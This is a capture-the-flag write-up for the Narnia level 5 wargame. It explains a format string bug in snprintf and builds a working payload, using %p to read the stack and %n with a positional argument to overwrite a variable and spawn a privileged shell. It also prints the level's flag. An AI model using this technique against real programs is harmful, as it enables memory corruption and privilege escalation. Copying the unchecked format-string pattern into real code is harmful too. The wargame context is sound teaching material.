Writeup

narnia05.c content :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
	int i = 1;
	char buffer[64];

	snprintf(buffer, sizeof buffer, argv[1]);
	buffer[sizeof (buffer) - 1] = 0;
	printf("Change i's value from 1 -> 500. ");

	if(i==500){
		printf("GOOD\n");
        setreuid(geteuid(),geteuid());
		system("/bin/sh");
	}

	printf("No way...let me give you a hint!\n");
	printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
	printf ("i = %d (%p)\n", i, &i);
	return 0;
}

What snprintf really does? And how we can establish a methodology to solve this types of attack? Let’s start seeing how snprintf can be used in a normal program

#include <stdio.h>
#include <string.h>

int main()
{
	int x=10;
	int y=20;
	char buffer[60];

	printf("sizeof(buffer) : %ld\n",sizeof(buffer));
	// Fill with \0 (string terminator) the buffer
	strncpy(buffer,"\0",sizeof(buffer));

	// copy in buffer the output of the printf function
	snprintf(buffer,sizeof(buffer),"AAAA\n");
	printf("buffer :\n%s\n");
	return 0;
}

Output

60
buffer :
AAAA

We can use snprintf in an other way too

#include <stdio.h>
#include <string.h>

int main()
{
	int x=10;
	int y=20;
	char buffer[60];

	printf("sizeof(buffer) : %ld\n",sizeof(buffer));
	// Fill with \0 (string terminator) the buffer
	strncpy(buffer,"\0",sizeof(buffer));

	// copy in buffer the output of the printf function
	snprintf(buffer,sizeof(buffer),"AAAA %d\n%d\n",x,y);
	printf("buffer : %s\n",buffer);
	return 0;
}

Output

sizeof(buffer) : 60
buffer : AAAA 10
20

As we expected the snprintf will recognize the %d and sobstitute it with the value of x and y. But, wait a second. In our program we have only

snprintf(buffer,sizeof(buffer),argv[1])

What happen when we use in argv[1] the format %d without any variable referencing to the format ? To answer this question we need to know how the parameters are pushed on the stack when a function is called. In x86 and if the program is compiled with gcc the parameters are pushed on the stack from right to left. In the example I made the stack will be :

0xffffffd2	|	buffer address	|
0xffffffd3	|	<60>			|
0xffffffd4	|	format address	|
0xffffffd5	|	<10>			|	
0xffffffd6	|	<20>			|
0xffffffd7	|	something0		|
0xffffffd8	|	something1		|
0xffffffd9	|	something3		|

In narnia5 however we have

0xffffffd2	|	buffer address	|
0xffffffd3	|	<60>			|
0xffffffd4	|	format address	|
0xffffffd5	|	something0		|	
0xffffffd6	|	something1		|
0xffffffd7	|	something2		|
0xffffffd8	|	something3		|
0xffffffd9	|	something4		|

And when we use as argv[1] %d %d %d we will print the value of something0,something1,something2. In this case we can read all the variables on the stack :D, but how we can modify one ? In this case i? If we have to do a format string attack, we can use some techniques well known that permits to solve vulnerable program like this one easily without headache.

I’ll try to explain these techniques. In our program the buffer is printed on the stdout so we don’t need to use a debugger to check how the stack is organized. The first thing to do is to use this argument : $(python -c 'print "AAAA"+"%p."*10') to see what the snprintf put on the buffer. If executing the program we have an output like this :

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "AAAA"+"%p."*6')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAA0x31347830.0x31343134.0x302e3134.0x41414141.0x33313234.0x33] (63)
i = 1 (0xffffd6c0)

Then the stack will be :

0xffffffd2	|	buffer address	| ------|
0xffffffd3	|		<64>		|		|		
0xffffffd4	|	argv[1] address	|       |
0xffffffd5	|	something0		|       | 	
0xffffffd6	|	something1		|       | 
0xffffffd7	|	something2		|       | 
0xffffffd8	|	something3		| <-----|
0xffffffd9	|	something4		| 
0xffffffda	|	something5		| 

And after the snprintf will become

0xffffffd2	|	buffer address	| ------|
0xffffffd3	|		<64>		|		|		
0xffffffd4	|	argv[1] address	|       |
0xffffffd5	|	something0		|       | 	
0xffffffd6	|	something1		|       | 
0xffffffd7	|	something2		|       | 
0xffffffd8	|	0x41414141		| <-----|
0xffffffd9	|	something4		|
0xffffffda	|	something5		| 

It means that the AAAA is read from the printf as 4th argument. However this is just a case I built up by myself to show how we can exploit the snprint to read the stack. In our case if we have execute the same payload we have that the AAAA is read from the printf as 1st argument. It means that the stack will be :

0xffffffd2	|	buffer address	| ------|
0xffffffd3	|		<64>		|		|		
0xffffffd4	|	argv[1] address	|       |
0xffffffd5	|	buf[0]			| <-----| 	
0xffffffd6	|	something1		|  
0xffffffd7	|	something2		|   
0xffffffd8	|	something3		|
0xffffffd9	|	something4		|
0xffffffda	|	something5		| 

Executing narnia5

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "AAAA"+"%p."*10')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAA0x41414141.0x31347830.0x31343134.0x302e3134.0x33313378.0x33] (63)
i = 1 (0xffffd6c0)

So now what if we write instead of AAAA the address of i ?

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xc0\xd6\xff\xff"+"%p."*10')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [����0xffffd6c0.0x66667830.0x36646666.0x302e3063.0x36363678.0x33] (63)
i = 1 (0xffffd6c0)

The stack after the snprintf will be

0xffffffd2	|	buffer address	| ------|
0xffffffd3	|		<64>		|		|		
0xffffffd4	|	argv[1] address	|       |
0xffffffd5	|	0xffffd6c0		| <-----| 	
0xffffffd6	|	something1		|  
0xffffffd7	|	something2		|   
0xffffffd8	|	something3		|
0xffffffd9	|	something4		|
0xffffffda	|	something5		| 

Mhh…OK, but what’s the point?

Well, using %n we can overwrite into an address that the printf takes as an argument the number of characters written so far

printf("12345678911111",&i)

Will write into i the value 14.

In our case we need to put into i 500, so the payload will be :

{[4 bytes(address of i)]+["%(500-4)x"]+["%n"]}

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xc0\xd6\xff\xff"+"%496x"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [����                                                           ] (63)
i = 1 (0xffffd6e0)
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xc0\xd6\xff\xff"+"%496x"+"%n"')
Segmentation fault

If you’re using %n into an invalid address the program will go in segfault because it tries to write into an address that is not in memory or it is of another process. We can see that the address of i is changed, we can try to change the address of i and check if it works.

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff"+"%496x"+"%n"')
Segmentation fault

Still segmentation fault, why?

Because instead of writing into 0xffffd6e0 we are trying to write into the address next to it into the stack. BUT, why before I calculated the ‘offset’ or ‘argument’ of the snprintf function? Because we can use that offset to specify in the %n which argument to consider.

Example :

#include <stdio.h>

int main()
{
        int x=5;
        int y=10;

        printf("second value %2$d\n first value %1$d\n",x,y);
        return 0;
}

Output :

second value 10
first value 5

So our final payload will be :

{[4 bytes(address of i)]+["%(500-4)x"]+["%(offset)$n"]}

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff"+"%496x"+"%1$n"')
Change i's value from 1 -> 500. GOOD
$ whoami

There are other techniques that will be explained in narnia7 :D but don’t be afraid

Flag: neezocaeng